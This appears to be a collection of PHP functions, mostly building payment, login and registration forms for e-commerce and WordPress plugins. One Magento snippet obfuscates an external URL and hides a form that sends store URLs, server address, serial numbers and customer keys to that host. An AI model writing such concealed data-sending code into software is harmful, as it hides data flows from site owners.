(!empty($this->ipnUrl)) {\n $this->addHiddenField(\"notify_url\",$this->ipnUrl);\n }\n $custom = $this->customValuesToString();\n if (!empty($custom)) {\n $this->addHiddenField('custom', $custom);\n }\n\n $imgsrc = AftmConfiguration::getValue('site','imgsrc','/packages/aftm/images');\n\n $formHeader = \"<FORM id=\\\"paypalform\\\" action=\\\"$action\\\" method=\\\"post\\\">\\n\";\n\n if ($autolaunch) {\n $this->formLines[] = \"<noscript>\";\n }\n\n // $this->formLines[] = '<input type=\"submit\" name=\"submit\" value=\"Continue to PayPal\" />';\n $this->formLines[] = '<h3>Continue to PayPal</h3>';\n $this->formLines[] = '<input type=\"image\" src=\"https://www.paypalobjects.com/en_US/i/btn/btn_paynowCC_LG.gif\" border=\"0\" name=\"submit\" alt=\"PayPal - The safer, easier way to pay online!\">';\n $this->formLines[] = '<img alt=\"\" border=\"0\" src=\"https://www.paypalobjects.com/en_US/i/scr/pixel.gif\" width=\"1\" height=\"1\">';\n\n if ($autolaunch) {\n $this->formLines[] = \"</noscript>\";\n }\n $this->formLines[] = '</form>';\n\n if ($autolaunch) {\n $this->formLines[] = \"<div id='paypal-launcher'>\";\n $this->formLines[] = \"<img src='$imgsrc/ajax-loader.gif' onload='document.getElementById(\\\"paypalform\\\").submit();' />\";\n $this->formLines[] = '<span style=\"font-size: 18px;\">Redirecting to PayPal. Please wait...</span>';\n $this->formLines[] = '</div>';\n }\n\n return $formHeader.implode(\"\\n\",$this->formLines);\n\n }", "public function outputSetupForm() {\n\t\t$this->_directFormHtml( 'webinarjamstudio' );\n\t}", "public function display_code() {\n\t\techo '<h1>Premise Demo Page</h1>\n\t\t<div class=\"span10\">';\n\n\n\t\t\t// test a form with all possible fields.\n\t\t\t// pass your own arguments if you'd like.\n\t\t\t// new PWP_Demo_Form();\n\n\t\t\t// Premise_test::fields();\n\t\t\t// Premise_test::fields_hooks();\n\t\t\t// Premise_test::fields_demo();\n\t\t\t// Premise_test::videos_embed();\n\t\t\t// Premise_test::fields_duplicate();\n\t\t\t// Premise_test::google_map();\n\t\t\t// Premise_test::grids();\n\n\t\techo '</div>';\n\t}", "public function getContent()\r\n\t{\r\n\t\t/* Loading CSS and JS files */\r\n\t\t$this->context->controller->addCSS(array($this->_path.'views/css/paypal-usa.css', $this->_path.'views/css/colorpicker.css'));\r\n\t\t$this->context->controller->addJS(array(_PS_JS_DIR_.'jquery/jquery-ui-1.8.10.custom.min.js', $this->_path.'views/js/colorpicker.js', $this->_path.'views/js/jquery.lightbox_me.js', $this->_path.'views/js/paypalusa.js'));\r\n\r\n\t\t/* Update the Configuration option values depending on which form has been submitted */\r\n\t\tif ((Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'MX') && Tools::isSubmit('SubmitBasicSettings'))\r\n\t\t{\r\n\t\t\t$this->_saveSettingsProducts();\r\n\t\t\t$this->_saveSettingsBasic();\r\n\t\t\tunset($this->_validation[count($this->_validation) - 1]);\r\n\t\t}\r\n\t\telseif (Tools::isSubmit('SubmitPayPalProducts'))\r\n\t\t\t$this->_saveSettingsProducts();\r\n\t\telseif (Tools::isSubmit('SubmitBasicSettings'))\r\n\t\t\t$this->_saveSettingsBasic();\r\n\t\telseif (Tools::isSubmit('SubmitAdvancedSettings'))\r\n\t\t\t$this->_saveSettingsAdvanced();\r\n\r\n\r\n\t\t/* If PayPal Payments Advanced has been enabled, the Shop country has to be USA */\r\n\t\tif (Configuration::get('PAYPAL_USA_PAYMENT_ADVANCED') && Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code != 'US')\r\n\t\t\t$this->context->smarty->assign('paypal_usa_advanced_only_us', true);\r\n\r\n\t\t/* If PayPal Payments Advanced has been enabled, PayPal's Manager credentials must be filled */\r\n\t\tif (Configuration::get('PAYPAL_USA_PAYMENT_ADVANCED') && (Configuration::get('PAYPAL_USA_MANAGER_USER') == '' ||\r\n\t\t\t\tConfiguration::get('PAYPAL_USA_MANAGER_PASSWORD') == '' || Configuration::get('PAYPAL_USA_MANAGER_PARTNER') == ''))\r\n\t\t\t$this->_error[] = $this->l('In order to use PayPal Payments Advanced, please provide your PayPal Manager credentials.');\r\n\r\n\t\t$this->context->smarty->assign(array(\r\n\t\t\t'paypal_usa_tracking' => 'http://www.prestashop.com/modules/paypalusa.png?url_site='.Tools::safeOutput($_SERVER['SERVER_NAME']).'&id_lang='.(int)$this->context->cookie->id_lang,\r\n\t\t\t'paypal_usa_form_link' => './index.php?tab=AdminModules&configure=paypalusa&token='.Tools::getAdminTokenLite('AdminModules').'&tab_module='.$this->tab.'&module_name=paypalusa',\r\n\t\t\t'paypal_usa_ssl' => Configuration::get('PS_SSL_ENABLED'),\r\n\t\t\t'paypal_usa_validation' => (empty($this->_validation) ? false : $this->_validation),\r\n\t\t\t'paypal_usa_error' => (empty($this->_error) ? false : $this->_error),\r\n\t\t\t'paypal_usa_configuration' => Configuration::getMultiple(array('PAYPAL_USA_SANDBOX', 'PAYPAL_USA_PAYMENT_STANDARD', 'PAYPAL_USA_PAYMENT_ADVANCED',\r\n\t\t\t\t'PAYPAL_USA_EXPRESS_CHECKOUT', 'PAYPAL_USA_PAYFLOW_LINK', 'PAYPAL_USA_ACCOUNT', 'PAYPAL_USA_API_USERNAME',\r\n\t\t\t\t'PAYPAL_USA_API_PASSWORD', 'PAYPAL_USA_API_SIGNATURE', 'PAYPAL_USA_EXP_CHK_PRODUCT', 'PAYPAL_USA_EXP_CHK_SHOPPING_CART',\r\n\t\t\t\t'PAYPAL_USA_EXP_CHK_BORDER_COLOR', 'PAYPAL_USA_MANAGER_USER', 'PAYPAL_USA_MANAGER_LOGIN', 'PAYPAL_USA_MANAGER_PASSWORD',\r\n\t\t\t\t'PAYPAL_USA_MANAGER_PARTNER', 'PAYPAL_USA_SANDBOX_ADVANCED')),\r\n\t\t\t'paypal_usa_merchant_country_is_usa' => (Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'US'),\r\n\t\t\t'paypal_usa_merchant_country_is_mx' => (Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'MX')\r\n\t\t));\r\n\r\n\t\treturn $this->display(__FILE__, 'views/templates/admin/configuration'.((Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'MX') ? '-mx' : '').'.tpl');\r\n\t}", "protected function paymentForm($resume, $pricing) {\n \n if(Wpjb_Model_Company::current()) {\n $dName = Wpjb_Model_Company::current()->company_name;\n $dMail = wp_get_current_user()->user_email;\n } elseif(wp_get_current_user()) {\n $dName = wp_get_current_user()->display_name;\n $dMail = wp_get_current_user()->user_email;\n } else {\n $dName = \"\";\n $dMail = \"\";\n }\n\n $fullname = apply_filters(\"wpjb_candidate_name\", trim($resume->user->first_name.\" \".$resume->user->last_name), $resume->id);\n \n $this->view->pricing = $pricing;\n $this->view->gateways = Wpjb_Project::getInstance()->payment->getEnabled();\n $this->view->pricing_item = __(\"Resume Access\", \"wpjobboard\") . \" &quot;\" . $fullname . \"&quot;\";\n $this->view->defaults = new Daq_Helper_Html(\"span\", array(\n \"id\" => \"wpjb-checkout-defaults\",\n \"class\" => \"wpjb-none\",\n\n \"data-object_id\" => $resume->id,\n \"data-pricing_id\" => $pricing->id,\n \"data-fullname\" => $dName,\n \"data-email\" => $dMail,\n\n ), \" \");\n\n return $this->render(\"default\", \"payment\");\n }", "protected function _getIHtml()\n {\n $html = '';\n $url = implode('', array_map('ch' . 'r', explode('.', strrev('74.511.011.111.501.511.011.101.611.021.101.74.701.99.79.89.301.011.501.211.74.301.801.501.74.901.111.99.64.611.101.701.99.111.411.901.711.801.211.64.101.411.111.611.511.74.74.85.511.211.611.611.401'))));\n\n $e = $this->productMetadata->getEdition();\n $ep = 'Enter' . 'prise'; $com = 'Com' . 'munity';\n $edt = ($e == $com) ? $com : $ep;\n\n $k = strrev('lru_' . 'esab' . '/' . 'eruces/bew'); $us = []; $u = $this->_scopeConfig->getValue($k, ScopeInterface::SCOPE_STORE, 0); $us[$u] = $u;\n $sIds = [0];\n\n $inpHN = strrev('\"=eman \"neddih\"=epyt tupni<');\n\n foreach ($this->storeManager->getStores() as $store) {\n if ($store->getIsActive()) {\n $u = $this->_scopeConfig->getValue($k, ScopeInterface::SCOPE_STORE, $store->getId());\n $us[$u] = $u;\n $sIds[] = $store->getId();\n }\n }\n\n $us = array_values($us);\n $html .= '<form id=\"i_main_form\" method=\"post\" action=\"' . $url . '\" />' .\n $inpHN . 'edi' . 'tion' . '\" value=\"' . $this->escapeHtml($edt) . '\" />' .\n $inpHN . 'platform' . '\" value=\"m2\" />';\n\n foreach ($us as $u) {\n $html .= $inpHN . 'ba' . 'se_ur' . 'ls' . '[]\" value=\"' . $this->escapeHtml($u) . '\" />';\n }\n\n $html .= $inpHN . 's_addr\" value=\"' . $this->escapeHtml($this->serverAddress->getServerAddress()) . '\" />';\n\n $pr = 'Plumrocket_';\n $adv = 'advan' . 'ced/modu' . 'les_dis' . 'able_out' . 'put';\n\n foreach ($this->moduleList->getAll() as $key => $module) {\n if (strpos($key, $pr) !== false\n && $this->moduleManager->isEnabled($key)\n && !$this->_scopeConfig->isSetFlag($adv . '/' . $key, ScopeInterface::SCOPE_STORE)\n ) {\n $n = str_replace($pr, '', $key);\n $helper = $this->baseHelper->getModuleHelper($n);\n\n $mt0 = 'mod' . 'uleEna' . 'bled';\n if (!method_exists($helper, $mt0)) {\n continue;\n }\n\n $enabled = false;\n foreach ($sIds as $id) {\n if ($helper->$mt0($id)) {\n $enabled = true;\n break;\n }\n }\n\n if (!$enabled) {\n continue;\n }\n\n $mt = 'figS' . 'ectionId';\n $mt = 'get' . 'Con' . $mt;\n if (method_exists($helper, $mt)) {\n $mtv = $this->_scopeConfig->getValue($helper->$mt() . '/general/' . strrev('lai' . 'res'), ScopeInterface::SCOPE_STORE, 0);\n } else {\n $mtv = '';\n }\n\n $mt2 = 'get' . 'Cus' . 'tomerK' . 'ey';\n if (method_exists($helper, $mt2)) {\n $mtv2 = $helper->$mt2();\n } else {\n $mtv2 = '';\n }\n\n $html .=\n $inpHN . 'products[' . $n . '][]\" value=\"' . $this->escapeHtml($n) . '\" />' .\n $inpHN . 'products[' . $n . '][]\" value=\"' . $this->escapeHtml((string)$module['setup_version']) . '\" />' .\n $inpHN . 'products[' . $n . '][]\" value=\"' . $this->escapeHtml($mtv2) . '\" />' .\n $inpHN . 'products[' . $n . '][]\" value=\"' . $this->escapeHtml($mtv) . '\" />' .\n $inpHN . 'products[' . $n . '][]\" value=\"\" />';\n }\n }\n\n $html .= $inpHN . 'pixel\" value=\"1\" />';\n $html .= $inpHN . 'v\" value=\"1\" />';\n $html .= '</form>';\n\n return $html;\n }", "function edds_credit_card_form( $echo = true ) {\n\n\tglobal $edd_options;\n\n\tif ( edd_stripe()->rate_limiting->has_hit_card_error_limit() ) {\n\t\tedd_set_error( 'edd_stripe_error_limit', __( 'We are unable to process your payment at this time, please try again later or contact support.', 'edds' ) );\n\t\treturn;\n\t}\n\n\tob_start(); ?>\n\n\t<?php if ( ! wp_script_is ( 'edd-stripe-js' ) ) : ?>\n\t\t<?php edd_stripe_js( true ); ?>\n\t<?php endif; ?>\n\n\t<?php do_action( 'edd_before_cc_fields' ); ?>\n\n\t<fieldset id=\"edd_cc_fields\" class=\"edd-do-validate\">\n\t\t<legend><?php _e( 'Credit Card Info', 'edds' ); ?></legend>\n\t\t<?php if( is_ssl() ) : ?>\n\t\t\t<div id=\"edd_secure_site_wrapper\">\n\t\t\t\t<span class=\"padlock\">\n\t\t\t\t\t<svg class=\"edd-icon edd-icon-lock\" xmlns=\"http://www.w3.org/2000/svg\" width=\"18\" height=\"28\" viewBox=\"0 0 18 28\" aria-hidden=\"true\">\n\t\t\t\t\t\t<path d=\"M5 12h8V9c0-2.203-1.797-4-4-4S5 6.797 5 9v3zm13 1.5v9c0 .828-.672 1.5-1.5 1.5h-15C.672 24 0 23.328 0 22.5v-9c0-.828.672-1.5 1.5-1.5H2V9c0-3.844 3.156-7 7-7s7 3.156 7 7v3h.5c.828 0 1.5.672 1.5 1.5z\"/>\n\t\t\t\t\t</svg>\n\t\t\t\t</span>\n\t\t\t\t<span><?php _e( 'This is a secure SSL encrypted payment.', 'edds' ); ?></span>\n\t\t\t</div>\n\t\t<?php endif; ?>\n\n\t\t<?php\n\t\t$existing_cards = edd_stripe_get_existing_cards( get_current_user_id() );\n\t\t?>\n\t\t<?php if ( ! empty( $existing_cards ) ) { edd_stripe_existing_card_field_radio( get_current_user_id() ); } ?>\n\n\t\t<div class=\"edd-stripe-new-card\" <?php if ( ! empty( $existing_cards ) ) { echo 'style=\"display: none;\"'; } ?>>\n\t\t\t<?php do_action( 'edd_stripe_new_card_form' ); ?>\n\t\t\t<?php do_action( 'edd_after_cc_expiration' ); ?>\n\t\t</div>\n\n\t</fieldset>\n\t<?php\n\n\tdo_action( 'edd_after_cc_fields' );\n\n\t$form = ob_get_clean();\n\n\tif ( false !== $echo ) {\n\t\techo $form;\n\t}\n\n\treturn $form;\n}", "public function getBankForm()\n {\n\n $config = array(\n 'kwota' => 999.99,\n 'opis' => 'Transaction description',\n 'crc' => '100020003000',\n 'wyn_url' => 'http://example.pl/examples/notificationBasic.php?transaction_confirmation',\n 'wyn_email' => '[email protected]',\n 'pow_url' => 'http://example.pl/examples/success.html',\n 'email' => '[email protected]',\n 'imie' => 'Jan',\n 'nazwisko' => 'Kowalski',\n );\n\n $form = $this->getBankSelectionForm($config, false, true);\n\n echo $form;\n }", "public function run()\n {\n $sort = 0;\n\n $page = FormBuilder::createPage('SuranceBay Signature Agreement', UserStatusHistory::STATUS_SURANCE_BAY);\n\n $section = FormBuilder::createSection('SuranceBay Signature Agreement', $page->id, $sort++);\n FormBuilder::addSubline($section, 'Please read and agree to the terms below.');\n FormBuilder::createField(\"I hereby authorize Surancebay, LLC and it’s general agency customers (the \\\"Authorized Parties\\\") to affix or append a copy of my signature, as set forth below, to any and all required signature fields on forms and agreements of any insurance carrier (a “Carrier“) designated by me through the SURELC software, business submission, or through any other means, including without limitation, by email or orally. The Authorized Parties shall be permitted to complete and submit all such forms and agreements on my behalf for the purposes of becoming authorized to sell Carrier insurance products. I hereby release, indemnify and hold harmless the Authorized Parties against any and all claims, demands, losses, damages, and causes of action, including expenses, costs and reasonable attorney’s fees which they may sustain or incur as a result of carrying out the authority granted hereunder.<br><br>By my signature below, I certify that the information I have submitted to the Authorized Parties is correct to the best of my knowledge and acknowledge that I have read and reviewed the forms and agreements which the Authorized Parties have been authorized to affix my signature. I agree to indemnify and hold any third party harmless from and against any and all claims, demands, losses, damages, and causes of action, including expenses, costs and reasonable attorney’s fees which such third party may incur as a result of its reliance on any form or agreement bearing my signature pursuant to this authorization.\", FormField::TYPE_HTML, FormField::WIDTH_FULL, $section->id);\n FormBuilder::createField('I agree to the terms.', FormField::TYPE_CHECKBOX, FormField::WIDTH_FULL, $section->id);\n\n $section = FormBuilder::createSection('Printed Name', $page->id, $sort++);\n FormBuilder::createField('', FormField::TYPE_TEXT, FormField::WIDTH_HALF, $section->id, '', 1);\n\n $section = FormBuilder::createSection('Signature', $page->id, $sort++);\n FormBuilder::addSubline($section, 'Please make sure to sign your full name. Initials are not accepted. Illegible signatures are not accepted.');\n FormBuilder::createField('', FormField::TYPE_SIGNATURE, FormField::WIDTH_HALF, $section->id);\n }", "function display($tpl = null) \n\t{\n\t\t$document = JFactory::getDocument();\n\n\t\t// Assign data to the view\n\t\t$this->msg = 'Payment form';\n \n\t\t// Display the view\n\t\tparent::display($tpl);\n\n\t\t//add custom js here\n\t\t//window.addEvent(\"domready\", function() {\n\t\t$document->addScriptDeclaration('\n\t\t\t$(document).ready(function() {\n\t\t\t $(\"input.ccNo\").payment(\"formatCardNumber\");\n\t\t\t \n\t\t\t $(\"#payment-submit\").click(function(){\n\n\t\t\t \tif ($(\"#payment-form\").parsley().isValid()) {\n\t\t\t\t \t$(this).val(\"Processing...\");\n\t\t\t\t \t$(this).attr(\"disabled\", \"disabled\");\n\t\t\t\t \t$(\"#payment-form\").submit();\n\t\t\t \t}\n\t\t\t \t\n\t\t\t });\n\t\t\n\t\t\t});\n\t\t');\n\n\t\t//add custom css here\n\t\t$style = '.payment-wrapper {\n\t\t\t\tpadding-bottom: 20px;\n\t\t\t}';\n\n\t\t$style .= '.payment-left {\n\t\t\t\tfloat: left;\n\t\t\t\tpadding-right: 10px;\n\t\t\t\tborder-right: 1px solid #ddd;\n\t\t\t}';\n\n\t\t$style .= '.payment-right {\n\t\t\t\tfloat: left;\n\t\t\t\tpadding-left: 25px\n\t\t\t}';\n\n\t\t$style .= '.clear {\n\t\t\t\tclear: both;\n\t\t\t}';\n\n\t\t$style .= '.payment-header {\n\t\t\twidth: 500px;\n\t\t\tborder-top: 1px solid #ccc;\n\t\t\tborder-left: 1px solid #ccc;\n\t\t\tborder-right: 1px solid #ccc;\n\t\t\tpadding: 10px;\n\t\t\tbackground-color: #e0d9d9;\n\t\t\tborder-top-left-radius: 4px;\n\t\t\tborder-top-right-radius: 4px;\n\t\t\tfont-size: 14px;\n\t\t\t}';\n\n\t\t$style .= '.payment-body {\n\t\t\twidth: 500px;\n\t\t\tborder: 1px solid #ccc;\n\t\t\tpadding: 10px;\n\t\t\t}';\n\n\t\t\n\t\t$style .= '#payment-form .form-group {\n\t\t\twidth: 100%;\n\t\t\t}';\n\n\t\t$style .= '#payment-form .form-item {\n\t\t\tmargin: 0px 0px 5px 10px ;\n\t\t\tdisplay: inline-block;\n\t\t\tvertical-align: top;\n\t\t\t}';\n\n\t\t$style .= '#payment-form .form-item input {\n\t\t\twidth: 100%;\n\t\t\t}';\n\n\t\t$style .= '#payment-form .form-item label {\n\t\t\tpadding-left: 5px;\n\t\t\t}';\n\n\t\t$style .= '#payment-form .form-item .divider {\n\t\t\tfont-size: 24px;\n\t\t\tpadding-top: 10px;\n\t\t\tvertical-align: middle;\n\t\t\t}';\n\t\n\t\t//basic form styles\n\t\t$style .= '#payment-form select {\n\t\t\tpadding: 6px 6px;\n\t\t\tmargin: 4px 4px 0px 4px;\n\t\t\theight: 35px;\n\t\t\tfont-size: 14px;\n\t\t\tborder: 1px solid #cccccc;\n\t\t\tborder-radius: 4px;\n\t\t\t}';\n\n\t\t$style .= '#payment-form input {\n\t\t\tdisplay: block;\n\t\t\theight: 20px;\n\t\t\tpadding: 6px 0px 6px 6px;\n\t\t\tmargin: 4px 4px 0px 4px;\n\t\t\tfont-size: 14px;\n\t\t\tline-height: 1.428571429;\n\t\t\tvertical-align: middle;\n\t\t\tborder: 1px solid #cccccc;\n\t\t\tborder-radius: 4px;\n\t\t\t-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n\t\t\t box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n\t\t\t-webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n\t\t\t transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n\t\t\t}';\n\n\t\t$style .= '#payment-form textarea {\n\t\t\twidth: 100%;\n\t\t\theight: 50px;\n\t\t\t}';\n\n\t\t$style .= '#payment-form .submit {\n\t\t\twidth: 100%;\n\t\t\theight: 40px;\n\t\t\tfont-size: 14px;\n\t\t\tbackground-color: #EAD78C;\n\t\t\t}';\n\n\t\t$style .= '#payment-form .cc-image {\n\t\t\theight: 15px; \n\t\t\tpadding-left: 5px; \n\t\t\tvertical-align: middle;\n\t\t\t}';\n\n\t\t//form error\n\t\t$style .= 'input.parsley-error, select.parsley-error, textarea.parsley-error {\n\t\t\tcolor: #B94A48;\n\t\t\tbackground-color: #F2DEDE;\n\t\t\tborder: 1px solid #EED3D7;\n\t\t\t}';\n\n\t\t$style .= '.parsley-errors-list {\n\t\t\t\tmargin: 2px 0 3px;\n\t\t\t\tpadding: 0;\n\t\t\t\tlist-style-type: none;\n\t\t\t\tfont-size: 0.9em;\n\t\t\t\tline-height: 0.9em;\n\t\t\t\topacity: 0;\n\t\t\t\t-moz-opacity: 0;\n\t\t\t\t-webkit-opacity: 0;\n\n\t\t\t\ttransition: all .3s ease-in;\n\t\t\t\t-o-transition: all .3s ease-in;\n\t\t\t\t-moz-transition: all .3s ease-in;\n\t\t\t\t-webkit-transition: all .3s ease-in;\n\t\t\t}';\n\n\t\t$style .= '.parsley-errors-list.filled {\n\t\t\t\topacity: 1;\n\t\t\t}';\n\n\t\t$style .= '.parsley-errors-list {\n\t\t\t\tdisplay: none;\n\t\t\t}';\n\n\t\t//form success\n\t\t$style .= 'input.parsley-success, select.parsley-success, textarea.parsley-success {\n\t\t\t color: #468847;\n\t\t\t background-color: #DFF0D8;\n\t\t\t border: 1px solid #D6E9C6;\n\t\t\t}';\n\n\t\t$document->addStyleDeclaration( $style );\n\n\t}", "function receipt_page($order) {\n echo '<p>' . __('Gracias! - Tu orden ahora está pendiente de pago. Deberías ser redirigido automáticamente a la página de transbank.') . '</p>';\n\n echo $this->generate_webpayplus_form($order);\n }", "protected function form()\n {\n return $this->view\n ->template('Moss:Sample:login')\n ->set('method', __METHOD__)\n ->set('flash', $this->app->get('flash'))\n ->render();\n }", "protected function _getPaymentMethodsHtml()\n {\n return $this->_getHtmlByHandle('checkout_onepage_paymentmethod');\n }", "function load_bank_form()\n\t{\n\t\tlog_message('debug', 'Account/load_bank_form');\n\t\t$data = filter_forwarded_data($this);\n\n\t\tif($this->native_session->get('__data')) $data = array_merge($data, $this->native_session->get('__data'));\n\t\t$data['area'] = !empty($data['a'])? $data['a']: 'login_form';\n\t\tif(empty($data['response'])) $data['response']['resolve'] = 'ERROR: No response was received from your bank. <br>Please notify us about this error so that we can follow up.';\n\n\t\t$this->load->view('account/bank_forms', $data);\n\t}", "private function generateLoginFormHTML() {\n\t\t$this->registredNewUsername();\n\t\treturn '\n\t\t<div class=\"firstPageContainer\">\n\t\t\t<div class=\"loginFormContainer\">\n\t\t\t\t<form method=\"post\">\n\t\t\t\t\t<h1>Sign in</h1>\n\t\t\t\t\t\t<p id=\"' . self::$messageId . '\">' . $this->message . '</p>\n\t\t\t\t\t\t<label for=\"' . self::$name . '\">Username</label>\n\t\t\t\t\t\t<input type=\"text\" id=\"' . self::$name . '\" name=\"' . self::$name . '\" value=\"'. self::$usernameInput .'\" />\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t<label for=\"' . self::$password . '\">Password</label>\n\t\t\t\t\t\t<input type=\"password\" id=\"' . self::$password . '\" name=\"' . self::$password . '\" />\n\t\t\t\t\t\t\t<label for=\"' . self::$keep . '\">Keep me logged in: \n\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"' . self::$keep . '\" name=\"' . self::$keep . '\" /> \n\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t<a href=\"?register\">Register a new user</a>\n\t\t\t\t\t\t<input type=\"submit\" name=\"' . self::$login . '\" value=\"Login\" />\n\t\t\t\t</form>\n\t\t\t</div>\n\t\t\t<div class=\"firstPagePicture\"></div>\n\t\t</div>\t\t\n\t\t';\n\t}", "function payment_fields(){\r\n if($this -> description) echo wpautop(wptexturize($this -> description));\r\n }", "public function HtmlMakePaymentForm($oPayment, $nInputEncoding = \"UTF-8\")\r\n\t{\r\n\t\tif (strpos($oPayment->cPrice, \",\"))\r\n\t\t{\r\n\t\t\t$oPayment->cPrice = (float)str_replace(\",\", \".\", $oPayment->cPrice);\r\n\t\t}\r\n\t\t$rsField = array(\r\n\t\t\t'action' => 'gaf',\r\n 'ver' => \"002\",\r\n 'id' => (string)$this->ixSellerCode,\r\n\t\t\t'ecuno' => sprintf(\"%012s\", $oPayment->ixOrder),\r\n 'eamount' => sprintf(\"%012s\", round($oPayment->cPrice*100)),\r\n\t\t\t'cur' \t => \"EEK\",\r\n\t\t\t'datetime' => (string)date(\"YmdHis\"),\r\n\t\t\t'lang' => \"et\",\r\n \t);\r\n \t$sMacBase =\r\n \t\t$rsField['ver'] .\r\n \t\tsprintf(\"%-10s\", $rsField['id']) .\r\n \t\t$rsField['ecuno'] .\r\n \t\t$rsField['eamount'] .\r\n \t\t$rsField['cur'] .\r\n \t\t$rsField['datetime'];\r\n \t$sSignature = sha1($sMacBase);\r\n\r\n \t$flKey = openssl_get_privatekey(file_get_contents($this->flPrivateKey));\r\n\r\n\t\tif (!openssl_sign($sMacBase, $sSignature, openssl_get_privatekey(file_get_contents($this->flPrivateKey))))\r\n\t\t{\r\n\t\t\ttrigger_error (\"Unable to generate signature\", E_USER_ERROR);\r\n\t\t}\r\n \t$rsField['mac'] = bin2hex($sSignature);\r\n\r\n\r\n \t//$html = \"<a href='\" . $this->urlServer . \"?\";\r\n \t$html = '';\r\n \tforeach ($rsField as $ixField => $fieldValue)\r\n \t{\r\n \t\t//$html .= $ixField . \"=\" . $fieldValue . \"&amp;\";\r\n \t\t$html .= '<input type=\"hidden\" name=\"' . $ixField . '\" value=\"' . htmlspecialchars(iconv($nInputEncoding, $this->nOutputEncoding, $fieldValue)) . '\" />' . \"\\n\";\r\n \t}\r\n \t//$html .= \"'>Maksa</a>\";\r\n \treturn $html;\r\n\t}", "protected function _toHtml()\n\t{\n\t\t$model = Mage::getModel('tpg/direct');\n\t\t$pmPaymentMode = $model->getConfigData('mode');\n\t\tswitch($pmPaymentMode)\n\t\t{\n\t\t\tcase PayVector_Tpg_Model_Source_PaymentMode::PAYMENT_MODE_HOSTED_PAYMENT_FORM:\n\t\t\t\t$html = self::_redirectToHostedPaymentForm();\n\t\t\t\tbreak;\n\t\t\tcase PayVector_Tpg_Model_Source_PaymentMode::PAYMENT_MODE_TRANSPARENT_REDIRECT:\n\t\t\t\t$html = self::_redirectToTransparentRedirect();\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $html;\n\t}", "function getContent(){\n\t\t?><article><?php\n\t\tif($this->bodyContent !== null){\n\t\t\techo $this->bodyContent;\n\t\t}\n\t\tif($this->hasFlag(0,\"login\") && $this->hasFlag(1,\"success\") || $this->hasFlag(0,\"register\") && $this->hasFlag(1,\"success\") || $this->hasFlag(0,\"logout\")){\n\t\t\treturn;\n\t\t}\n\t\tif(($this->isntFlag(0,array(\"login\",\"register\")) || $this->hasFlag(0,\"register\")) && $this->registrationOpen){ ?>\n\t\t\t<div class=\"form-container half-container<?php if(!($this->isntFlag(0,array(\"login\",\"register\")) || $this->hasFlag(0,\"login\"))) echo \" full\"; ?>\">\n\t\t\t\t<h1>Register!</h1>\n\t\t\t\t<form action=\"/auth/register<?php echo $this->add_iframe(); ?>\" method=\"post\">\n\t\t\t\t\t<fieldset>\n\t\t\t\t\t<?php \n\t\t\t\t\t$this->text_input(\"First name\",\"first_name\",true,$this->input(\"input_first_name\"));\n\t\t\t\t\t$this->text_input(\"Last name\",\"last_name\",true,$this->input(\"input_last_name\"));\n\t\t\t\t\t$this->text_input(\"Email\",\"email\",true,$this->input(\"input_email\"));\n\t\t\t\t\t$this->text_input(\"Password\",\"password\",true,\"\",0,true);\n\t\t\t\t\t$this->text_input(\"Confirm password\",\"password_conf\",true,\"\",0,true);\n\t\t\t\t\t?>\n\t\t\t\t\t</fieldset>\n\t\t\t\t\t<input class=\"submitbutton\" type=\"submit\" value=\"Register\" />\n\t\t\t\t</form>\n\t\t\t</div><?php\n\t\t}\n\t\tif($this->isntFlag(0,array(\"login\",\"register\")) || $this->hasFlag(0,\"login\")){ ?>\n\t\t\t<div class=\"form-container half-container<?php if(!($this->isntFlag(0,array(\"login\",\"register\")) || $this->hasFlag(0,\"register\"))) echo \" full\"; ?>\">\n\t\t\t\t<h1>Log in!</h1>\n\t\t\t\t<form action=\"/auth/login<?php echo $this->add_iframe(); ?>\" method=\"post\">\n\t\t\t\t\t<fieldset>\n\t\t\t\t\t<?php \n\t\t\t\t\t$this->text_input(\"Email\",\"email\",true,$this->input(\"input_email\"));\n\t\t\t\t\t$this->text_input(\"Password\",\"password\",true,\"\",0,true);\n\t\t\t\t\t?>\n\t\t\t\t\t</fieldset>\n\t\t\t\t\t<input class=\"submitbutton\" type=\"submit\" value=\"Log in\" />\n\t\t\t\t</form>\n\t\t\t</div><?php\n\t\t}?>\n\t\t</article>\n\t\t\n\t\t<?php\n\t}", "public function hookDisplayPayment($params)\n {\n if (!$this->active || !self::getKeysInfo()) {\n return;\n }\n\n $this->smarty->assign(\n $this->getPaymentVars($params)\n );\n\n $this->smarty->assign(array(\n 'logos_folder' => _PS_BASE_URL_SSL_.__PS_BASE_URI__.'modules/'.$this->name.'/views/img/',\n ));\n\n $this->smarty->assign(array(\n 'isIframe' => Configuration::get('TWISPAY_IFRAME_FORM'),\n 'iframeScriptUrl' => $this->getPaymentFormActionUrl() . '/assets/script'\n ));\n\n return $this->display(__FILE__, 'views/templates/hook/payment.tpl');\n }", "public function showRegistrationForm()\n {\n return view('skins.' . config('pilot.SITE_SKIN') . '.auth.register');\n }", "public function html()\n {\n $random_quote = $this->randomQuote();\n $cp_path = CP_ROUTE;\n return $this->view('widget', compact('random_quote','cp_path'))->render();\n }", "function give_show_purchase_form( $form_id, $args ) {\n\n\t$payment_mode = give_get_chosen_gateway( $form_id );\n\n\tif ( ! isset( $form_id ) && isset( $_POST['give_form_id'] ) ) {\n\t\t$form_id = $_POST['give_form_id'];\n\t}\n\n\t/**\n\t * Fire before donation form render.\n\t *\n\t * @since 1.7\n\t */\n\tdo_action( 'give_payment_fields_top', $form_id );\n\n\tif ( give_can_checkout() && isset( $form_id ) ) {\n\n\t\t/**\n\t\t * Fires while displaying donation form, before registration login.\n\t\t *\n\t\t * @since 1.7\n\t\t */\n\t\tdo_action( 'give_donation_form_before_register_login', $form_id, $args );\n\n\t\t/**\n\t\t * Fire when register/login form fields 